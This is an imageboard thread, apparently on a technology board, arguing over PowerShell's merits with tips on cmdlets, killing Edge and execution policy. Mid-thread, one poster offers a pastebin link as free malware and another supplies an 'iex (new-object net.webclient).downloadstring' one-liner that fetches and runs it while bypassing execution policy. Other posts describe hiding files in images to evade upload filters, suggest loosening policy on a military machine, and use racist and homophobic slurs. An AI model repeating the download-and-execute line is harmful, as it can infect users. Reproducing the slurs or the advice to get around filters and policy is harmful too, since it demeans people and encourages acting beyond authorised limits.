Holy hell I tried powershell... and I actually like it.
Everything is verb-noun: get-aduser, set-aduser etc. Literally can just tab until you find the function you need Switch has a wildcard parameter so things like "*fileserver" can be a case Running code on another computer is literally just command -ComputerName [whatever] Once you know how the filter works and the above you can literally do anything.
And believe it or not the day-to-day syntax isn't as ugly as you would think $timeout = (Get-Date).AddDays(-100) $group = get-adgroup "Staff" get-aduser -Properties memberof -filter {enabled -eq $true -and LastLogonTimestamp -lt $timeout}` | Where-Object {$group.DistinguishedName -notin $_.memberOf} | Out-GridView
They got it mostly right and most people here hate it. I love it, I use it for everything.
Jacob Thomas
they bundled a module for improved tab-completion in windows 10 so it makes it easier to work with
Ayden Roberts
Rumor has it they are no longer going to be putting it on Windows by default. 5.1 is the latest and 6.0 will always only dot net core and never for Windows.
Brayden Perez
It's like unix if it were good. Scripts and commands are verbose and well documented, so instead of memorizing and using obscure "sekrit klub" recursive acronym in-joke commands all day, you write reusable elegant scripts that can be easily read and understood by anyone.
>They got it mostly right and most people here hate it. because it took them YEARS to get to a usable point and even now it's still a verbose piece of shit the only redeeming thing about PS is that it has full access to the win32 api/.net stuff and it passes objects not strings
>It's not verbose! It's just an overly complex, write-only language. Copypasting code golf means I'm smart.
Luke Hernandez
>Write only language? Huh? >Codegolf That was an example.
Here's a more simple one for you. Call an API in Powershell: irm htts://someurlhere.com -m GET
Do that in one line elsewhere.
Dylan Gray
you can't be serious, curl foobar.com also >irm, so much for 'muh verbose commands, no sekrit club acronyms' >b-but it's an alias!!
Liam Davis
Can someone please write me a program that closes Edge (which runs in the background) in powershell script?
t. literally disabled brainlet
Nolan Turner
>That was an example my sides
>Needs a builtin for simple http requests >Never heard of curl >htts:// Dumb CIA nigger confirmed
Joseph Torres
It's line-noise-esque syntax pisses me off. I don't actually like it much - I've been administering Windows for years, and I'm baby-ducked to scripting netsh, wmic, etc. for my duties. But yeah, PS's power/capability are undeniable.
William Lee
Open your non-memetic windows command prompt instead of powershit: taskkill /f /im MicrosoftEdge.exe
Or copy+paste into a file as "kill_edge.bat" and just double click to run it from now on
Dominic Morgan
Stop-Process -name "edge*" -Force
But I don't have edge on my servers so I don't know what the process is called
Chase Reyes
you can use that same exact command in powershell sweetie
Jaxon Miller
while($true){ If (get-process *edge*){ Stop-process *edge* } Sleep 45 }
Save that as a ps1 have it run at start up. Edge will never stay running.
Jaxon Green
The only people who hate PowerShell are the ones who don't have programming jobs.
Brayden Russell
it uses 1.5MB of ram you cheap nigger
Luis Lopez
uses 0 when closed faggot
David Young
It eventually kills itself after scaling back to less and less RAM used.
Aiden Brooks
it's certainly better than batch, but that's not exactly a high bar to pass. Brainfuck would have been a better shell scripting language than batch.
I like it overall, but I find the syntax kind of annoying to work with.
Jack Cooper
Can you run it under WINE?
Gabriel Harris
There's a native Linux port on Github.
Chase Davis
>sweetie Their is no need for that childish, patronising tone
Sebastian Ross
>native Linux port on Github. Didnt know that. Thanks
most standard ones are just straight acronyms most of them have shortened names due to being made in the era of teletypes, which were slow and mechanical no one's changed them because it turns out they're really good tools even if they're largely from the 70s, and Unix has a long history of backwards compatibility, and the short names are convenient for the people who actually use them
PS's syntax is too fucking nasty for a fresh take on shell scripting and ends up looking similarly awful as say, a bash script (which is mostly awful because of legacy shit, an excuse that PowerShell doesn't get), except you get a bunch of long-ass word salad shit mixed in with the line-noise symbols typical of shell scripting languages.
Really, I'd say it's Unix if it were just okay. It's not terrible, but it's no Unix-killer.
David Taylor
Get out of Jow Forums microsoft stop posting threads. Only redhat is allowed to post here
Nicholas Howard
It's syntax is a little fucky.
Cameron Hall
Oh my god this is fucking atrocious. This is as much of an argument with one with a Trump cock-sucker. You have pure shit in front of your eyes and your closed-minded delusion makes you defend it. >irm >no sekrit club acronyms Fuck out of here.
heres some fun powershell. if you run it you get some malware, for free! pastebin.com/5Vsmd3Ke
Jordan Roberts
>This is as much of an argument with one with a Trump cock-sucker. You have pure shit in front of your eyes and your closed-minded delusion makes you defend it. you could not be glowing harder lol
how are they going to get people to run sfc /scannow then?
Noah Morgan
i have to use it for my new job, nothing too fancy yet, but it is pretty nice. it's not going to make me drop linux shells, but it makes me like microsoft ones.
It's shit and a waste of time, there's no reason to bother with using a command line tool on an OS that only exists to write word documents and play games.
Eli Sanchez
>an OS that only exists to write word documents and play games Miserable anime watching faggot. We both know Linux users waste more time doing stupid shit like watchimg loli animes and ricing desktops than Windows users.
Andrew Davis
So I'm supposed to be wasting time typing dir into pajeetshell instead? Fuck off.
> and I actually like it. Get back to your home planet.
Bentley Butler
I would use it at work if tab autocomplete worked faster on those toasters they call computers.
I mean first time it takes a bloody minute.
Grayson Gray
More like
Set-shilling false -user OP
Samuel Thompson
I AM NOT THE ONLY ONE! THANK JESUS!
This is the one FUCKING thing I hate, it could be RSAT since ISE and the Shell both Import-Moudle * on the default PS Profile, since I've noticed it's far quicker without RSAT.
Carter Ramirez
Unexpected "false" where expected type [bool]?
Daniel Watson
>pic Is there something like this in VR?
Wyatt Lopez
if you find one, let me know, i would want to play it
Nicholas Flores
saving this thread
Christopher White
Here's to execute it in the shell directly bypassing any execution policy limits. iex (new-object net.webclient).downloadstring("pastebin.com/raw/5Vsmd3Ke")
Christian Parker
Active Directory user you fucking monkey
Thomas Smith
In contrast to Powershell, bash has limited discoverability. There's no particular command grouping which would imply an exclusive interaction amongst several commands. There are no built-in articles covering useful topics. It's even hard to find all aliases and commands they link to. To find command parameters it's mandatory to read documentation, while Powershell can expand parameters inline. Indeed it's possible to write a function in Powershell without no documentation and still have the parameters be discoverable.
>except you get a bunch of long-ass word salad shit mixed in with the line-noise symbols typical of shell scripting languages. This absolutely depends on your style. You can abstain from all the CLI-like interactions and make it look clean as any other procedural language. You're only getting salad, if you write it like a salad.
Jacob Brown
>Sekrit club Kek
irm -invoke rest method Iwr - invoke web request
But it's only for club members, don't tell anyone.
Leo Williams
If having an open mind makes me a CIA nigger, I don't know what to tell you bud.
William Sullivan
Fuck off Bill G*tes
Carson Bennett
a good powershell book >"Learn Windows PowerShell in a Month of Lunches" you can find the pdf by searching the book's name on google
Ryder Moore
I didn't like PowerShell at first because of how verbose it is compared to bash, but I just started using it for the first time today at work to make working on some types of tickets easier and semi-automated and I gotta say, I'm pretty surprised that the verbosity doesn't bother me so much for a good bit of it. I would still prefer if arguments were more succinct but it's forgiveable given the overall readability and intuitiveness in general. Still prefer bash though.
Wyatt Murphy
you can shorten the argument names, provided that what's left isn't ambiguous, for example: Get-Item -Exclude "something" Get-Item -E "something" you can make it as short as you want as long as it's unique
Lincoln Garcia
and if it's a positional parameter you don't have to type it at all
Jackson Russell
>I didn't like PowerShell at first because of how verbose it is compared to bash
You say that when writing it but never when reading it. Trust me.
Jaxson Powell
>blindly follows establishment and media >open mind Top jej
Carter Roberts
Since when does criticism for cock-suckers equal to following the media?
Jason Wilson
>do desktop support for military as contractor >make powershell script to speed incidents of a similar nature up >.\script.ps1 >"execution of scripts is disabled on this system" >right click >run with PowerShell >runs For what purpose
Brody Johnson
it's so it can't auto-run unsigned scripts you can change the execution policy if you can/want
Noah Martinez
Why don't you just uninstall it?
James Richardson
this, I think it's possible to uninstall it using powershell
Jose Gonzalez
it probably is, 90% of all GUI functionality on windows 10 are just powershell wrappers
Cameron Clark
I'm not sure I have policy editing privilege.
Jeremiah Torres
I don't know about user's PS command, but cURL and wget are softwares totally independent from the shell. You can install those on Windows and Power shell btw.
Caleb Cook
try running "Set-ExecutionPolicy RemoteSigned" when you have the chance or don't, I don't know if there's a command log someone could look at afterwards and give you a hard time even more that you're working for military
Hunter Lewis
or you could even try and see how a script signature works and make your own
I mean I imagine it works like a standard digital signature, but if it does then that means that the CA has to give the go-ahead for my certificate to say "Yep this dude is allowed to do that."
Everything's monitored pretty closely but I honestly don't give a fuck, I automatically assume if the computer lets me I'm allowed to do it and my supervisor seems to have the same mentality so it's whatever. >inb4 MP's knock at the door Gonna look into the script running policy and see if my admin certificate can be considered a trusted publisher or not tomorrow when I have time.
Gavin Rivera
>I only use Powershell as a simple terminal to use softwares like youtube-dl, ffmpeg or adb What should I do with PS?
anything, you could build a script that sets all your registry/group policy tweaks on a new windows install automatically, custom logon/logoff scripts, manage a large amount of windows functionality automatically, etc
Christopher Brown
I literally can't think of anything to use PS/bash/any programming language for meaningfully at home, but I have good opportunity to use PS practically at work. I love it, and I get a lot of satisfaction from it. I want to chase that feeling at home but I've got ZERO fucking guidance or inspiration.
Caleb Young
Easiest way is by installing WimTweak.
When you have that installed open CMD Write: install_wim_tweak /o /c Microsoft-Windows-Internet-Browser /r And press enter.
Also if you want to uninstall Adobe Flash with it just type; install_wim_tweak /o /c Adobe-Flash /r
just run Remove-AppxPackage -package Microsoft.MicrosoftEdge obviously I can't test it
Caleb Reyes
I mean, I always use powershell to run code I wrote, like python 1.py or javac 2.java, java 2, etc. for gcc I switch to sub-linux inside win 10.
Aiden Clark
>GI -e "something"
I often go though my commands and shorten them all to appease my turbo-autism
Cooper Howard
anyone who isnt a retard knows that powershell is powerful and useful.
Jordan Stewart
>new-object >net.webclient wait! You can actually code C# or VB.NET like in this thing?
Brody Ross
I can give you an idea I had floating around. You could make an imageboard provider for Powershell, so that one could browse Jow Forums like a directory tree using Get-ChildItem/Set-Location. Maybe even post things using New-Item if you can figure out the captcha portion or at least let pass users to post. You'll need to use the Jow Forums API partly for this.
As for me, I've written a a shitty webm converter that picks optimal resolution and bitrate parameters based on input file specifics. More kinetic videos will be converted to a lower resolution than a less kinetic video. Of course the grunt work is done by ffmpeg. The script is a mess, so I don't think of sharing it anytime soon.
I've also written a simple payload embedder into PNG images and a GUI to extract them. Basically stuffing arbitrary files into images, steganography. Such stuffed images can bypass Jow Forums's embedded data filters. I've posted about it in the past. You can see it here: pastebin.com/raw/58DkBgW4 There's some C# in there for performance reasons when processing bitmap data and to have some minor parallelism in the GUI. Powershell has big overhead, so massive custom loops should be optimized when possible.
Yes, including F# and Jscript. The code in any of these languages can be compiled and reused by Powershell in most cases. And you can import .net compatible assemblies and use classes and methods from there. It's possible to also use WinAPI by importing methods of it via C# and compiling the code. Add-Type cmdlet is used for most of this.